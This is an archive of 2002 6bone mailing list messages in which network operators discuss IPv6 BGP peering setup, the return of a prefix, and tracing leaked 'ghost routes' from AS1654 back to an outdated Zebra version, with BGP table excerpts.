<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2716.2200" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Hey all!</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Interested in trying to peer with =
someone how do I=20
proceed?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I am mostly interested in knowing what =
kind of=20
equipment/software is needed.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Like Cisco routers (I have a 1605 and a =
806 here)=20
and/or Linux box... which of those would be preferred?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Med venlig hilsen // Best=20
Regards<BR>&nbsp;</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Rasmus Haslund</FONT><FONT face=3DArial =
size=3D2></DIV>
<DIV><BR>System Administrator<BR>EuroShells.dk<BR>&nbsp;<BR>Phone: +45 =
86 - 19=20
19 34 <BR>Direct: +45 26 - 80 60 13 <BR>E-mail: <A=20
href=3D"mailto:admin@euroshells.dk">admin@euroshells.dk</A><BR>Web: <A=20
href=3D"http://www.euroshells.dk">http://www.euroshells.dk</A></FONT></DI=
V></BODY></HTML>

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From tvo@EnterZone.Net Wed Aug 14 12:18:20 2002
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Date: Wed, 14 Aug 2002 15:18:17 -0400 (EDT)
From: John Fraizer <tvo@EnterZone.Net>
To: ljb@merit.edu, 6bone@ISI.EDU
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As indicated in our application for pTLA space, EnterZone has now
completely renumbered out of 3ffe:1ced::/32 and into our new RIR and pTLA
space.  We now officially relinquish this prefix back to MERIT.

I would like to thank all the operators who made modifications to your
filters to allow our announcement of this deaggregated prefix during the
interim.  AS13944 just retracted all announcements for 3ffe:1ced::/32. You
may now tighten your filters back up.

MERIT: Um, our tunnel is still down.  You did make the modification of the
v4 endpoint but, must have missed the part about the v6 addresses for each
end of the tunnel.

If you would like to maintain a BGP peering session with EnterZone, please
contact us and we will assign new v6 addresses for the tunnel and
configure a BGP peering session.


---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From dios-vol@telecom.noc.udg.mx Wed Aug 14 12:27:15 2002
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Date: Wed, 14 Aug 2002 14:21:24 -0500 (CDT)
From: Harold de Dios Tovar Volunt <dios-vol@telecom.noc.udg.mx>
To: "EuroShells.dk" <admin@euroshells.dk>
cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] Just a few newbie questions
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Hi Rasmus, if you want to know about cisco IPv6 implementations check this
web page http://www.cisco.com/warp/public/732/Tech/ipv6/
about linux and others implementations visit www.ipv6.org

best regards..


** Texto sin acentos
        ,,,
       /'^'\
      ( o o )  N.O.C  &  IPv6 staff working Group
--oOOo--(_)--oOOo---------------------------------
|___|___|___|___|___|___|___|___|___|___|___|___|__
|___|___|___|___| Harold de Dios, harold@noc.udg.mx |__
__|_.oooO_|___|___| UdeG, Network Operation Center   |__
____(   )___Oooo.___| Work: 011(52)3331342232 ext.2220 |
-----\ (----(  )----------------------------------------
             \  


On Wed, 14 Aug 2002, EuroShells.dk wrote:

> 
> Hey all!
> 
> Interested in trying to peer with someone how do I proceed?
> 
> I am mostly interested in knowing what kind of equipment/software is needed.
> Like Cisco routers (I have a 1605 and a 806 here) and/or Linux box... which of those would be preferred?
> 
> Med venlig hilsen // Best Regards
>  
> Rasmus Haslund
> 
> System Administrator
> EuroShells.dk
>  
> Phone: +45 86 - 19 19 34 
> Direct: +45 26 - 80 60 13 
> E-mail: admin@euroshells.dk
> Web: http://www.euroshells.dk
> 


From tvo@EnterZone.Net Wed Aug 14 12:27:42 2002
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Date: Wed, 14 Aug 2002 15:27:37 -0400 (EDT)
From: John Fraizer <tvo@EnterZone.Net>
To: Jeff Barrow <jeffb@netc.com>
cc: Wim Biemolt <Wim.Biemolt@surfnet.nl>, 6bone@mailman.isi.edu
In-Reply-To: <Pine.LNX.4.33L0.0208141407250.5180-200000@netc.netc.com>
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Jeff,

What version is that patch against?  Just so we get the right
results. <grin>


---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |


On Wed, 14 Aug 2002, Jeff Barrow wrote:

> 
> Try this patch... and in the cfg file, add
> 	login_user => 'username',
> to the $::Routers entry for hosts that need a username.
> 
> I don't have any routers that need usernames to test this with, so
> feedback is welcome. :)
> 
> Can't help you on the fastping tho; it never did compile on my Slackware
> 7.0 box either; I just configured it to use the normal system /bin/ping
> instead.  Doesn't seem to hurt anything.
> 
> btw, great program, John!
> 
> --Jeff Barrow, Internet Connections, Inc.
> 
> On Wed, 14 Aug 2002, Wim Biemolt wrote:
> 
> >
> >
> > ==> From: John Fraizer
> >
> > > New and improved code is available at
> > > ftp://ftp.enterzone.net/looking-glass/CURRENT/ )
> >
> > Feature request: handle routers who need username + password.
> > (And fastping.c doesn't seem to compile on my 4.6-STABLE box.)
> >
> > -Wim -/- SURFnet
> >
> > _______________________________________________
> > 6bone mailing list
> > 6bone@mailman.isi.edu
> > http://mailman.isi.edu/mailman/listinfo/6bone
> >
> 


From RJorgensen@upctechnology.com Wed Aug 14 12:30:53 2002
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To: "'Gert Doering'" <gert@space.net>,
   =?iso-8859-1?Q?J=F8rgen_Hovland?=
	 <jorgen@hovland.cx>
Cc: 6bone@mailman.isi.edu, "'staff@sunet.se'" <staff@sunet.se>
Subject: RE: [6bone] SUNET announcing ALL IPv6 routes
Date: Wed, 14 Aug 2002 21:23:46 +0200
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Hi,

Got some feedback from sunet about this and seems like they've /dev/null'ed
the IPv4 IP for their endpoint as a temporarly workaround for now.
Thanks for the help SUNET!:)


Next issue, now I think we have alot of ghost routes to fight...


---
Roger Jorgensen (rjorgensen@upctechnology.com)
System Engineer @ engineering - UPC Technology
handles: ROJO1-6BONE ROJO9-RIPE RJC10-NORID


> -----Original Message-----
> From: Gert Doering [mailto:gert@space.net]
> Sent: Wednesday, August 14, 2002 7:53 PM
> To: Jørgen Hovland
> Cc: 6bone@mailman.isi.edu; abuse@sunet.se
> Subject: Re: [6bone] SUNET announcing ALL IPv6 routes
> 
> 
> Hi,
> 
> On Wed, Aug 14, 2002 at 07:14:11PM +0200, Jørgen Hovland wrote:
> > *                   2001:750:E::A                          
> 0 15589 1654 i
> > * i3FFE:1D00::/24   3FFE:82B0:0:1:1::5
> >                                                   100      
> 0 6830 1654 i
> > *                   3FFE:82B0:0:1:1::15
> >                                                            
> 0 24765 1654 i
> > *>                  3FFE:82B0:0:1:1::19
> >                                                            
> 0 15982 1654 i
> > *                   2001:750:E::A                          
> 0 15589 1654 i
> 
> Not only 6bone, but RIR space as well.
> 
> We have no direct peering, so can't really filter them.
> 
> Gert Doering
>         -- NetMaster
> -- 
> Total number of prefixes smaller than registry allocations:  
> 46871 (46631)
> 
> SpaceNet AG                 Mail: netmaster@Space.Net
> Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
> 80807 Muenchen              Fax : +49-89-32356-299
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 

From nighthawk@unrealircd.com Wed Aug 14 12:40:04 2002
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From: Edward Brocklesby <ejb@sdf.lonestar.org>
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To: 6bone@ISI.EDU
Date: Wed, 14 Aug 2002 20:37:57 +0100
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Subject: [6bone] Routing artifacts after today's AS1654 problems.
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Well, let's look at AS paths to a sample network, 3ffe:1400::/24.

us: 24643 6830 2012 6939 2497 33 10318 12199 145 7580 10566 5408 2549 109 5539 8379 1275 8002 1654
us: 6939 2497 33 10318 12199 145 7580 10566 5408 2549 109 5539 8379 1275 8002 1654
fubar lg: 6939 2497 33 10318 12199 145 7580 10566 5408 2549 109 5539 8379 1275 8002 1654
fubar lg: 24765 3320 293 33 10318 12199 145 7580 10566 5408 2549 109 5539 8379 1275 8002 1654
ndsoftware route-server:   33 10318 12199 145 7580 10566 5408 2549 109 5539 8379 1275 8002 1654

Now, let's align these at point of origin:
(hope you have good fixed-width font)

24643 6830 2012 6939 2497 33 10318 12199 145 7580 10566 5408 2549 109 5539 8379 1275 8002 1654
                6939 2497 33 10318 12199 145 7580 10566 5408 2549 109 5539 8379 1275 8002 1654
                6939 2497 33 10318 12199 145 7580 10566 5408 2549 109 5539 8379 1275 8002 1654
           24765 3320 293 33 10318 12199 145 7580 10566 5408 2549 109 5539 8379 1275 8002 1654
                          33 10318 12199 145 7580 10566 5408 2549 109 5539 8379 1275 8002 1654
                       ===^^

Interesting? ;-) Several other netblock have the exact same as-path[1],
with the same alignment at AS33, which appears to be DEC.  Looks to me
like some more ghosted routes, but maybe someone with more experience
likes to comment?

(Sorry this mail isn't quite as thorough as the last one, but I'm really
quite knackered.  If I've missed anything vital, feel free to ask ;-)

Regards,
	-larne.

[1] At the time of writing:
3ffe:1400::/24, 3ffe:1b00::/24, 3ffe:1e00::/24, 3ffe:1f00::/24,
3ffe:2f00::/24, 3ffe:3400::/24, 3ffe:8060::/28.

From admin@euroshells.dk Wed Aug 14 12:59:21 2002
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References: <Pine.SUN.4.10.10208141418090.21382-100000@telecom.noc.udg.mx>
Subject: Re: [6bone] Just a few newbie questions
Date: Wed, 14 Aug 2002 21:58:58 +0200
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> Hi Rasmus, if you want to know about cisco IPv6 implementations check this
> web page http://www.cisco.com/warp/public/732/Tech/ipv6/
> about linux and others implementations visit www.ipv6.org

Hey Harold!

I was having a look at www.ipv6.org, but I cant seem to find any information
on what to do if I wanted to start peering... at the moment I have a /64
tunnel trough tele.dk

//Rasmus Haslund


From tvo@EnterZone.Net Wed Aug 14 13:01:04 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: "EuroShells.dk" <admin@euroshells.dk>
cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] Just a few newbie questions
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On Wed, 14 Aug 2002, EuroShells.dk wrote:

> 
> Hey all!
> 
> Interested in trying to peer with someone how do I proceed?
> 
> I am mostly interested in knowing what kind of equipment/software is
> needed. Like Cisco routers (I have a 1605 and a 806 here) and/or Linux
> box... which of those would be preferred?
> 
> Med venlig hilsen // Best Regards
>  
> Rasmus Haslund
> 


Hi there Rasmus,

Well, you came to the right place.  I'm not sure about the v6 capabilities
of the 1605 or the 806, perhaps Paul can answer that.  You can contact him
at Paul Aitken <paitken@cisco.com> or ipv6-support@cisco.com (sorry,
couldn't resist!)

On the Linux front, Zebra ( http://www.zebra.org/ ) and iproute are your
friends.  There are many v6 networks running on this platform, including
mine.  I can help you out there.  It looks like its about a 136ms RTT from
our network to your laptop.


---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |




From riel@conectiva.com.br Wed Aug 14 13:02:19 2002
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 - review closes 3 Sep 2002
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On Wed, 14 Aug 2002, Michel Py wrote:
> >> Joao Luis Silva Damas wrote:
> >> Come on, these two cases were OK up to the point where
> >> people could not  get any other type of IPv6 addresses
> >> but now they are just normal businness.
>
> >> Rik van Riel wrote:
> >> Yeah right.  I doubt ipv6 is that widely
> >> available already.
>
> You might want to read the following thread on the v6ops and/or ngtrans
> mailing list, started this morning: (ngtrans) v6 considered operational
>
> http://ops.ietf.org/lists/v6ops/v6ops.2002/msg00000.html

That's nice and all, but I'd hate it if that would mean
a bunch of IX folks would declare the 6bone obsolete and
I'd be without ipv6 connectivity until my ISP starts
offering it, some undetermined time into the future.

6bone is here to stay for quite a while more...

kind regards,

Rik
-- 
Bravely reimplemented by the knights who say "NIH".

http://www.surriel.com/		http://distro.conectiva.com/


From tvo@EnterZone.Net Wed Aug 14 13:08:55 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: "Jorgensen, Roger" <RJorgensen@upctechnology.com>
cc: "'Gert Doering'" <gert@space.net>,
   =?iso-8859-1?Q?J=F8rgen_Hovland?= <jorgen@hovland.cx>,
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Subject: RE: [6bone] SUNET announcing ALL IPv6 routes
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On Wed, 14 Aug 2002, Jorgensen, Roger wrote:

> Hi,
> 
> Got some feedback from sunet about this and seems like they've /dev/null'ed
> the IPv4 IP for their endpoint as a temporarly workaround for now.
> Thanks for the help SUNET!:)
> 
> 
> Next issue, now I think we have alot of ghost routes to fight...
> 
> 
> ---
> Roger Jorgensen (rjorgensen@upctechnology.com)


Cool.  That we can do but, in the process, we need to document what router
platform/code version the people sending the ghost routes are
running.  This is a very important operational issue, more important that
actually getting the original announcements to stop.

If you are an operator who peers with someone that is found to be
ORIGINATING the ghost routes, please, find out what code they're running
and let the list know.  This "bug" has bitten us too many times already
and needs to be squashed.

If we compile a list of "bad code", folks will know to avoid using that
code and/or peering with folks using that code.

The root problem will never get fixed until we take measures to document
it.



---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From paitken@cisco.com Wed Aug 14 13:10:02 2002
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> Hi Rasmus, if you want to know about cisco IPv6 implementations check this
> web page http://www.cisco.com/warp/public/732/Tech/ipv6/

or more simply, http://www.cisco.com/ipv6 - it's a redirect to the same 
  URL as above, but it's a lot eaasier to remember!

> Like Cisco routers (I have a 1605 and a 806 here) and/or Linux box

You can run IPv6 on any of these platforms.

You can find relevant IOS images using either Cisco Feature Navigator at 
http://www.cisco.com/go/fn or Cisco Software Advisor at 
http://www.cisco.com/go/swadvisor.

 > which of those would be preferred?

Without more info, I'd say they're probably all equally as good.

But if the routers don't have enough FLASH to load an IPv6 IOS image 
then you'll have to use the linux box. But again, if the linux box is 
running on low-end hardware then maybe one of the cisco routers is a 
good choice?

Cheers.
-- 
Paul Aitken
IPv6 Development, Cisco Systems Ltd, Edinburgh, Scotland. EH6 6LX


From jorgen@hovland.cx Wed Aug 14 13:12:46 2002
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Subject: Re: [6bone] SUNET announcing ALL IPv6 routes
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Since SICS have shut down their router now, it might help us to be able to traceback the ASN(s) who are making all the
zombie-routes. There are still a lot of prefixes in the routing table with origin as1654.

For i2001:2F8::/35    there must be one of these three 6939 14277 8002
We know its not 6830, right Roger? And most likely not Edisontel, right Edisontel?

6969 HE.NET
14277 NOKIA
8002 STEALTH

The other route-paths are long.
They all end with STEALTH before they reach SICS.
I dont believe the ones we peer with are generating these routes so I have skipped those (but you never know).

33 DEC.com
10318 LACNIC.net
12199  <- Nonexisting, who is using this?
145 MCI
7580 TRUMPET.com.au
10566 Viagenie
5408 GRNET.gr
2549 LACNIC.net
109 CISCO
5539 SPACE.net
8379 EUROCYBER.net
1275 C&W ecrc.de

Its probably not Viagenie, nor Cisco (god forbid), nor Space, nor MCI, nor Eurocyber?
DEC, LACNIC, GRNET, C&W, TRUMPET and as12199 is left.

As you say John, OS and version if you are announcing ghost-routes please.


   Network          Next Hop            Metric LocPrf Weight Path
* i2001:2F8::/35    3FFE:82B0:0:1:1::5
                                                  100      0 6830 6939 14277 8002 1654 i
*                   2001:750:E::A                          0 15589 6939 14277 8002 1654 i
* i2001:388::/35    3FFE:82B0:0:1:1::5
                                                  100      0 6830 6939 14277 8002 1654 i
*                   2001:750:E::A                          0 15589 6939 14277 8002 1654 i
* i2001:388::/32    3FFE:82B0:0:1:1::5
                                                  100      0 6830 6939 14277 8002 1654 i
*                   2001:750:E::A                          0 15589 6939 14277 8002 1654 i
* i2001:4E0::/32    3FFE:82B0:0:1:1::5
                                                  100      0 6830 6939 14277 8002 1654 i
*                   2001:750:E::A                          0 15589 6939 14277 8002 1654 i
* i2001:6F0::/35    3FFE:82B0:0:1:1::5
                                                  100      0 6830 12337 8319 3561 3748 8002 5609 1275 20834 3274 1654 i
*>                  3FFE:82B0:0:1:1::19
                                                           0 15982 8379 8319 3561 3748 8002 5609 1275 20834 3274 1654 i
*                   3FFE:82B0:0:1:1::15
                                                           0 24765 8379 8319 3561 3748 8002 5609 1275 20834 3274 1654 i
*                   2001:750:E::A                          0 15589 12337 8319 3561 3748 8002 5609 1275 20834 3274 1654 i
*> 3FFE:200::/24    2001:750:E::A                          0 15589 33 10318 12199 237 3748 3786 10566 1930 2200 1916 11537 22 109
5539 8379 1275 8002 1654 i
* i                 3FFE:82B0:0:1:1::5
                                                  100      0 6830 6175 10318 33 5609 6939 4716 2497 4697 2914 1916 11537 22 109 5539
8379 1275 8002 1654 i
*                   3FFE:82B0:0:1:1::19
                                                           0 15982 6830 6175 10318 33 5609 6939 4716 2497 4697 2914 1916 11537 22
109 5539 8379 1275 8002 1654 i
*                   3FFE:82B0:0:1:1::15
                                                           0 24765 6435 6175 10318 33 5609 6939 4716 2497 4697 2914 1916 11537 22
109 5539 8379 1275 8002 1654 i
*  3FFE:1100::/24   3FFE:82B0:0:1:1::19
                                                           0 15982 15589 33 10318 12199 237 3748 3786 10566 13193 109 5539 8379 1275
8002 1654 i
*                   3FFE:82B0:0:1:1::15
                                                           0 24765 15589 33 10318 12199 237 3748 3786 10566 13193 109 5539 8379 1275
8002 1654 i
*>                  2001:750:E::A                          0 15589 33 10318 12199 237 3748 3786 10566 13193 109 5539 8379 1275 8002
1654 i
*  3FFE:1400::/24   3FFE:82B0:0:1:1::19
                                                           0 15982 15589 33 10318 12199 145 7580 10566 5408 2549 109 5539 8379 1275
8002 1654 i
*                   3FFE:82B0:0:1:1::15
                                                           0 24765 15589 33 10318 12199 145 7580 10566 5408 2549 109 5539 8379 1275
8002 1654 i
*>                  2001:750:E::A                          0 15589 33 10318 12199 145 7580 10566 5408 2549 109 5539 8379 1275 8002
1654 i
*  3FFE:1A00::/24   3FFE:82B0:0:1:1::19
   Network          Next Hop            Metric LocPrf Weight Path
                                                           0 15982 15589 33 10318 12199 145 7580 10566 5408 2549 109 5539 8379 1275
8002 1654 i
*                   3FFE:82B0:0:1:1::15
                                                           0 24765 15589 33 10318 12199 145 7580 10566 5408 2549 109 5539 8379 1275
8002 1654 i
*>                  2001:750:E::A                          0 15589 33 10318 12199 145 7580 10566 5408 2549 109 5539 8379 1275 8002
1654 i
*  3FFE:1B00::/24   3FFE:82B0:0:1:1::19
                                                           0 15982 15589 33 10318 12199 145 7580 10566 5408 2549 109 5539 8379 1275
8002 1654 i
*                   3FFE:82B0:0:1:1::15
                                                           0 24765 15589 33 10318 12199 145 7580 10566 5408 2549 109 5539 8379 1275
8002 1654 i
*>                  2001:750:E::A                          0 15589 33 10318 12199 145 7580 10566 5408 2549 109 5539 8379 1275 8002
1654 i
*  3FFE:1E00::/24   3FFE:82B0:0:1:1::19
                                                           0 15982 15589 33 10318 12199 145 7580 10566 5408 2549 109 5539 8379 1275
8002 1654 i
*                   3FFE:82B0:0:1:1::15
                                                           0 24765 15589 33 10318 12199 145 7580 10566 5408 2549 109 5539 8379 1275
8002 1654 i
*>                  2001:750:E::A                          0 15589 33 10318 12199 145 7580 10566 5408 2549 109 5539 8379 1275 8002
1654 i
*  3FFE:1F00::/24   3FFE:82B0:0:1:1::19
                                                           0 15982 15589 33 10318 12199 145 7580 10566 5408 2549 109 5539 8379 1275
8002 1654 i
*                   3FFE:82B0:0:1:1::15
                                                           0 24765 15589 33 10318 12199 145 7580 10566 5408 2549 109 5539 8379 1275
8002 1654 i
*>                  2001:750:E::A                          0 15589 33 10318 12199 145 7580 10566 5408 2549 109 5539 8379 1275 8002
1654 i
*  3FFE:2F00::/24   3FFE:82B0:0:1:1::19
                                                           0 15982 15589 33 10318 12199 145 7580 10566 5408 2549 109 5539 8379 1275
8002 1654 i
*                   3FFE:82B0:0:1:1::15
                                                           0 24765 15589 33 10318 12199 145 7580 10566 5408 2549 109 5539 8379 1275
8002 1654 i
*>                  2001:750:E::A                          0 15589 33 10318 12199 145 7580 10566 5408 2549 109 5539 8379 1275 8002
1654 i
*  3FFE:3400::/24   3FFE:82B0:0:1:1::19
                                                           0 15982 15589 33 10318 12199 145 7580 10566 5408 2549 109 5539 8379 1275
8002 1654 i
*                   3FFE:82B0:0:1:1::15
                                                           0 24765 15589 33 10318 12199 145 7580 10566 5408 2549 109 5539 8379 1275
8002 1654 i
*>                  2001:750:E::A                          0 15589 33 10318 12199 145 7580 10566 5408 2549 109 5539 8379 1275 8002
1654 i
*  3FFE:8060::/28   3FFE:82B0:0:1:1::19
                                                           0 15982 15589 33 10318 12199 145 7580 10566 5408 2549 109 5539 8379 1275
8002 1654 i
*                   3FFE:82B0:0:1:1::15
                                                           0 24765 15589 33 10318 12199 145 7580 10566 5408 2549 109 5539 8379 1275
8002 1654 i
   Network          Next Hop            Metric LocPrf Weight Path
*>                  2001:750:E::A                          0 15589 33 10318 12199 145 7580 10566 5408 2549 109 5539 8379 1275 8002
1654 i

-joergen hovland

----- Original Message -----
From: "John Fraizer" <tvo@EnterZone.Net>
To: "Jorgensen, Roger" <RJorgensen@upctechnology.com>
Cc: "'Gert Doering'" <gert@space.net>; "Jørgen Hovland" <jorgen@hovland.cx>; <6bone@mailman.isi.edu>; <staff@sunet.se>
Sent: Wednesday, August 14, 2002 10:08 PM
Subject: RE: [6bone] SUNET announcing ALL IPv6 routes


>
> On Wed, 14 Aug 2002, Jorgensen, Roger wrote:
>
> > Hi,
> >
> > Got some feedback from sunet about this and seems like they've /dev/null'ed
> > the IPv4 IP for their endpoint as a temporarly workaround for now.
> > Thanks for the help SUNET!:)
> >
> >
> > Next issue, now I think we have alot of ghost routes to fight...
> >
> >
> > ---
> > Roger Jorgensen (rjorgensen@upctechnology.com)
>
>
> Cool.  That we can do but, in the process, we need to document what router
> platform/code version the people sending the ghost routes are
> running.  This is a very important operational issue, more important that
> actually getting the original announcements to stop.
>
> If you are an operator who peers with someone that is found to be
> ORIGINATING the ghost routes, please, find out what code they're running
> and let the list know.  This "bug" has bitten us too many times already
> and needs to be squashed.
>
> If we compile a list of "bad code", folks will know to avoid using that
> code and/or peering with folks using that code.
>
> The root problem will never get fixed until we take measures to document
> it.
>
>
>
> ---
> John Fraizer              | High-Security Datacenter Services |
> EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
> http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |
>
>


From bmanning@ISI.EDU Wed Aug 14 13:22:55 2002
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: [6bone] the end of ngtrans
In-Reply-To: <2B81403386729140A3A899A8B39B046405E27C@server2000.arneill-py.sacramento.ca.us> from Michel Py at "Aug 14, 2 11:47:24 am"
To: michel@arneill-py.sacramento.ca.us (Michel Py)
Date: Wed, 14 Aug 2002 13:21:58 -0700 (PDT)
Cc: bmanning@ISI.EDU, 6bone@ISI.EDU
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 v6ops is a newly started group w/ its own list.
 Bob Fink (currently) manages the 3ffe:: prefix under the
 perview of the IETF as the 6bone.

 the 6bone mailing list is independent of either of these
 two and is run by me.



% > Bill Manning wrote: 
% > There are no plans to depricate the mailing list.
% 
% Forgive me if I ask dumb questions, but have you heard anything about
% the informal oversight being transferred to v6ops, or to Bob Fink (which
% I believe is the de-facto situation)? What else do we know?
% 
% Michel.
% 
% 


-- 
--bill

From nicolas.deffayet@ndsoftware.net Wed Aug 14 13:23:52 2002
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Subject: Re: [6bone] Just a few newbie questions
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: "EuroShells.dk" <admin@euroshells.dk>
Cc: 6bone@mailman.isi.edu
In-Reply-To: <008501c243c7$2bf3dc30$0402a050@druidlaptop>
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On Wed, 2002-08-14 at 21:17, EuroShells.dk wrote:
> 
> Hey all!
> 
> Interested in trying to peer with someone how do I proceed?

You need a ASN (you can use private ASN if your peer accept it) and a
router for do BGP4+.
After ask to a 6bone site for a peering.

> 
> I am mostly interested in knowing what kind of equipment/software is needed.
> Like Cisco routers (I have a 1605 and a 806 here) and/or Linux box... which of those would be preferred?

For your Cisco routers, you need a IOS with BGP and IPv6 support.
For your linux box, you can install Zebra (http://www.zebra.org)

Best Regards,

Nicolas DEFFAYET


From tvo@EnterZone.Net Wed Aug 14 13:42:40 2002
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From: John Fraizer <tvo@EnterZone.Net>
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Subject: [6bone] SUCCEEDED: delete all 3ffe:1ced::/32 and longer allocations (fwd)
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All gone, bye bye. <grin>

---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |


---------- Forwarded message ----------
Date: Wed, 14 Aug 2002 13:34:52 -0700 (PDT)
From: 6BONE Database Management <auto-dbm-mgr@whois.6bone.net>
To: John Fraizer <tvo@EnterZone.Net>
Subject: SUCCEEDED: delete all 3ffe:1ced::/32 and longer allocations

Your update was SUCCESSFUL

>   From:    John Fraizer <tvo@EnterZone.Net>
>   Subject: delete all 3ffe:1ced::/32 and longer allocations
>   Date:    Wed, 14 Aug 2002 16:34:51 -0400 (EDT)
>   Msg-Id:  <Pine.LNX.4.21.0208141630030.19687-100000@Overkill.EnterZone.Net>

The following objects were processed:

Delete OK: [inet6num] 3FFE:1CED::/32

Delete OK: [inet6num] 3FFE:1CED:A001::/48

Delete OK: [inet6num] 3FFE:1CED:A002::/48

Delete OK: [inet6num] 3FFE:1CED:A003::/48

Delete OK: [inet6num] 3FFE:1CED:A004::/48

Delete OK: [inet6num] 3FFE:1CED:A005::/48

Delete OK: [inet6num] 3FFE:1CED:A006::/48

Delete OK: [inet6num] 3FFE:1CED:A007::/48

Delete OK: [inet6num] 3FFE:1CED:A008::/48

Delete OK: [inet6num] 3FFE:1CED:A009::/48

Delete OK: [inet6num] 3FFE:1CED:A00B::/48

Delete OK: [inet6num] 3FFE:1CED:A00A::/48







From nighthawk@unrealircd.com Wed Aug 14 14:12:35 2002
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From: Edward Brocklesby <ejb@sdf.lonestar.org>
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To: =?iso-8859-1?q?J=F8rgen=20Hovland?= <jorgen@hovland.cx>,
   "John Fraizer" <tvo@EnterZone.Net>,
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Subject: Re: [6bone] SUNET announcing ALL IPv6 routes
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Jørgen Hovland:
> 33 DEC.com

I propose DEC as source of ghost routes, mainly due to reasons explained in my 
earlier mail to the list.  Of course, maybe other routers having this problem 
too; this is why router version information is important (see below.)

> 12199  <- Nonexisting, who is using this?

Hmm! Are you sure?

 UUNET Global Research & Development (ASN-UUNET-RD-AS)                                                                           
    3060 Williams Drive                                                                                                          
    Fairfax, VA 22031                                                                                                            
    US                                                                                                                           
                                                                                                                                 
    Autonomous System Name: UUNET-RD-AS                                                                                          
    Autonomous System Number: 12199                                                                                              
                                                                                                                                 
    Coordinator:                                                                                                                 
       Operations, Network  (NO37-ARIN)  netops@ENG.US.UU.NET                                                                    
       +1-800-488-6384                                                                                                           
                                                                                                                                 
    Record last updated on 22-Apr-1999.                                                                                          
    Database last updated on  13-Aug-2002 20:01:19 EDT.                                                                          

From http://www.arin.net.

-- rest of this route is certainly bogus IMHO  -- look, it matches the routes 
I have.

> 145 MCI
> 7580 TRUMPET.com.au
> 10566 Viagenie
> 5408 GRNET.gr
> 2549 LACNIC.net
> 109 CISCO
> 5539 SPACE.net
> 8379 EUROCYBER.net
> 1275 C&W ecrc.de

> As you say John, OS and version if you are announcing ghost-routes please.

It would be nice if someone would set about collecting this information from 
ASs (who might not be reading the list.)  I would be happy too (this problem 
annoys me greatly), but if someone else in a more official position feels 
they would rather do it, that is probably better ;-)

Regards,
	-larne.

From tvo@EnterZone.Net Wed Aug 14 14:27:38 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
cc: 6bone@ISI.EDU
Subject: RE: [6bone] SUNET announcing ALL IPv6 routes
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On 14 Aug 2002, Nicolas DEFFAYET wrote:

> On Wed, 2002-08-14 at 22:08, John Fraizer wrote:
> > 
> > If you are an operator who peers with someone that is found to be
> > ORIGINATING the ghost routes, please, find out what code they're running
> > and let the list know.  This "bug" has bitten us too many times already
> > and needs to be squashed.
> > 
> > If we compile a list of "bad code", folks will know to avoid using that
> > code and/or peering with folks using that code.
> > 
> 
> SICS use Zebra 0.88 on FreeBSD 4.2
> 
> Their configurations files: http://alt.sics.se/6bone_config/
> 
> Best Regards,
> 
> Nicolas DEFFAYET
> 

Oh-muh-gawd!  I didn't think you could find 0.88 running outside of the
Smithsonian!

ipv6-site:    SICS
origin:       AS1654
descr:        Swedish Institute of Computer Science
              Kista, SWEDEN
country:      SE

OK SICS, lets get with the program and upgrade! I would think that you
probably have some clue floating around the Institute somewhere... Lets
put it to use, shall we? Zebra is at 0.93a the current current and there
have been MANY, MANY, MANY bug-fixes in addition to the tons of feature
additions.


---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |




From nicolas.deffayet@ndsoftware.net Wed Aug 14 14:28:05 2002
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Subject: Re: [6bone] SUNET announcing ALL IPv6 routes
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: =?ISO-8859-1?Q?J=F8rgen?= Hovland <jorgen@hovland.cx>
Cc: John Fraizer <tvo@EnterZone.Net>,
   "Jorgensen, Roger"
	 <RJorgensen@upctechnology.com>,
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	<011e01c243ce$e5fde1a0$0200000a@hera>
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On Wed, 2002-08-14 at 22:12, Jørgen Hovland wrote:
> Since SICS have shut down their router now, it might help us to be able to traceback the ASN(s) who are making all the
> zombie-routes. There are still a lot of prefixes in the routing table with origin as1654.
> 
> For i2001:2F8::/35    there must be one of these three 6939 14277 8002
